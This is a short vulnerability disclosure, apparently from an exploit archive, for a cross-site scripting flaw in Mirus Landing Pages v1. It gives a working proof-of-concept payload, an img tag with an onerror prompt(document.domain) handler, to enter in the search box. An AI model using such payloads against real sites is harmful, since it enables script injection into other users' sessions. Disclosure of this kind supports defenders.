Mirus Landing Page Cross Site Scripting

Mirus Landing Page version 1 suffers from a cross site scripting vulnerability.


MD5 | 755b728cf6ef2bb8b083761977d392a8

# Exploit Title: Mirus Landing Pages V1 XSS Vulnerability
# Google Dork:N/A
# Date: 2020-04-03
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://mirus.co.il/
# Version: Landing Pages v1
# Tested on: Ubuntu

---------------------------------------------------------

PoC 1 :

XSS Vulnerability

Payload(s) :

In Search box use payload:
"><img src=x onerror=prompt(document.domain);>


Related Posts